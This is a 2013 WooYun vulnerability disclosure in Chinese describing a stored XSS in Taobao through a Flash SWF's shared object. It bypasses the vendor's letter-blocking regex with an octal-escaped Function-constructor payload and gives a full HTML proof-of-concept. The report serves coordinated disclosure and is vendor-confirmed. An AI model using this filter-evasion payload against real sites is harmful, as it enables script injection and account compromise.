当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-040838

漏洞标题:一个flash的0day导致的淘宝网存储xss 【续集】

相关厂商:淘宝网

漏洞作者: 多多关照

提交时间:2013-10-24 08:17

修复时间:2013-12-08 08:18

公开时间:2013-12-08 08:18

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-10-24: 细节已通知厂商并且等待厂商处理中
2013-10-24: 厂商已经确认,细节仅向厂商公开
2013-11-03: 细节向核心白帽子及相关领域专家公开
2013-11-13: 细节向普通白帽子公开
2013-11-23: 细节向实习白帽子公开
2013-12-08: 细节向公众公开

简要描述:

今天看了http://www.wooyun.org/bugs/wooyun-2013-039481这个帖子,思路挺有意思!狂顶赞!不过作为一个职业的马甲,看了下淘宝对这个漏洞的修复措施,发现修复并不彻底,提交下!

详细说明:

反编译了一下http://acjstb.aliyun.com/actionlog/flash/JSocket.swf这个文件。
淘宝的修复代码如下:

public function getlso():String{
var _local1:SharedObject = SharedObject.getLocal("kj");
var _local2:RegExp = new RegExp("[a-zA-Z]");
if (_local1.data.key == undefined){
return ("");
};
if (_local2.test(_local1.data.key)){
this.setlso("");
return ("");
};
return (_local1.data.key);
}


可以看到,多加一个正则表达式,如果存储的key里存在 [a-zA-Z]的字符,则调用 setlso("");
把所有字母都过滤掉了,那么这样是否就完全不能执行JS代码了呢?
根据帖子( WooYun: 一个flash的0day导致的淘宝网存储xss(可形成永久后门) )作者neobyte的描述。
实际上执行的是JS代码。

eval(var __flash_temp = "returned value"; __flash_temp;)


我们来尝试构造一个不需要使用任何字母执行代码的版本。

var __flash_temp = "returned value\\"['substr']['constructor']('alert(1)')();//";


解释:
"字符串"['substr']['constructor'] 得到 function Function() { [native code] }
"字符串"['substr']['constructor']('alert(1)')() 等同于
Function('alert(1)')()
接着,我们把上面代码里的字符串全部使用8进制转义。

var __flash_temp = "returned value\\"['\163\165\142\163\164\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')();//";


我们所输入的代码,实际上是

\"['\163\165\142\163\164\162']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164\50\61\51')();//


可以看到,不包含任何字母,这样可以成功绕过淘宝的过滤措施。
具体利用代码,见漏洞证明。

漏洞证明:

代码从原帖里直接复制过来的(代码版权归neobyte所有),只是把setlso的数据换了下。

<html>
<body>
<object id="JSocket" tabindex="-1" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="http://acjstb.aliyun.com/actionlog/flash/JSocket.swf">
<param name="allowScriptAccess" value="always">
<embed name="JSocket" src="http://acjstb.aliyun.com/actionlog/flash/JSocket.swf" width="1" height="1" allowscriptaccess="always" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer">
</object>
<script>
function set(){document['JSocket'].setlso('\\"[\'\\163\\165\\142\\163\\164\\162\'][\'\\143\\157\\156\\163\\164\\162\\165\\143\\164\\157\\162\'](\'\\141\\154\\145\\162\\164\\50\\61\\51\')();//');}
setTimeout("set()",5000);
</script>
</body>
</html>


访问这个页面后,再访问 login.taobao.com即可看到效果。

QQ图片20131024024020.jpg

修复方案:

我觉得根据漏洞成因来看,正确的修复方式是,过滤掉数据里的 反斜线 \,而不是过滤字母。

版权声明:转载请注明来源 多多关照@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2013-10-24 14:19

厂商回复:

感谢你对我们的支持与关注,该问题正在修复~~

最新状态:

暂无